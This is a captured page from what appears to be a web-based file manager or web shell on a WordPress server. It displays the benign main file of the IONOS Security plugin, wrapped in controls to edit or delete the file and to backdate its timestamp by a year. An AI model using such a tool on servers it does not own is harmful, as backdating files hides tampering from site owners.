文件操作 - ionos-security.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/ionos-security/ionos-security.php
编辑文件内容
<?php // phpcs:disable PSR1.Files.SideEffects.FoundWithSymbols /** * Plugin Name: Security * Description: Security provides a set of security features for your WordPress site. * Version: 2.5.5 * License: GPL-2.0-or-later * Author: IONOS Group * Author URI: https://www.ionos-group.com/brands.html * Update URI: ionos-security * Text Domain: ionos-security * Domain Path: /languages * * @package Ionos\Security */ /* Copyright 2024 IONOS Group This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Online: http://www.gnu.org/licenses/gpl.txt */ namespace Ionos\Security; require_once __DIR__ . '/vendor/autoload.php'; use Ionos\Librarysecurity\Options; use Ionos\Librarysecurity\Warning; use Ionos\Librarysecurity\Updater; use Ionos\Security\Controllers\Settings\Settings; use Ionos\Security\Controllers\CredentialsChecking\CredentialsChecking; use Ionos\Security\Controllers\ActivationNotification\ActivationNotification; use Ionos\Security\Controllers\ActivationNotification\Api; if ( ! defined( 'ABSPATH' ) ) { exit(); } Options::set_plugin_name( 'security' ); define( 'IONOS_SECURITY_FILE', __FILE__ ); define( 'IONOS_SECURITY_DIR', __DIR__ ); define( 'IONOS_SECURITY_URL', \plugin_dir_url( __FILE__ ) ); define( 'IONOS_SECURITY_BASE', plugin_basename( __FILE__ ) ); /** * Checks if an option named ionos-security exists and inits default values if not. * * @since 1.0.0 */ function init_options() { $security_option = get_option( 'ionos-security' ); if ( ! is_array( $security_option ) ) { update_option( 'ionos-security', [ 'credentials_check_enabled' => 1, 'xmlrpc_guard_enabled' => 1, 'pel_enabled' => 1, 'wpscan_mail_notification' => 1, ] ); } elseif ( ! isset( $security_option['wpscan_mail_notification'] ) ) { $security_option['wpscan_mail_notification'] = 1; update_option( 'ionos-security', $security_option ); } } /** * Runs on plugins_loaded */ function plugins_loaded() { new Updater(); new Warning( 'ionos-security' ); init_options(); $settings = new Settings(); $settings->init(); Controllers\SSLCheck::load(); $pel = new Controllers\PEL(); $pel->init(); $xmlrpc = new Controllers\XMLRPC(); $xmlrpc->init(); $credentials_checking = new CredentialsChecking(); $credentials_checking->init(); $wpscan = Controllers\WPScan::get_instance(); $wpscan->init(); add_action( 'admin_enqueue_scripts', [ ActivationNotification::class, 'init' ] ); add_action( 'rest_api_init', [ Api::class, 'create_rest_routes' ] ); } add_action( 'plugins_loaded', __NAMESPACE__ . '\plugins_loaded', 5 ); /** * Runs on init */ function init() { load_plugin_textdomain( 'ionos-security', false, basename( __DIR__ ) . '/languages/' ); } add_action( 'init', __NAMESPACE__ . '\init', 5 );
修改文件时间
将文件时间修改为当前时间的前一年
删除文件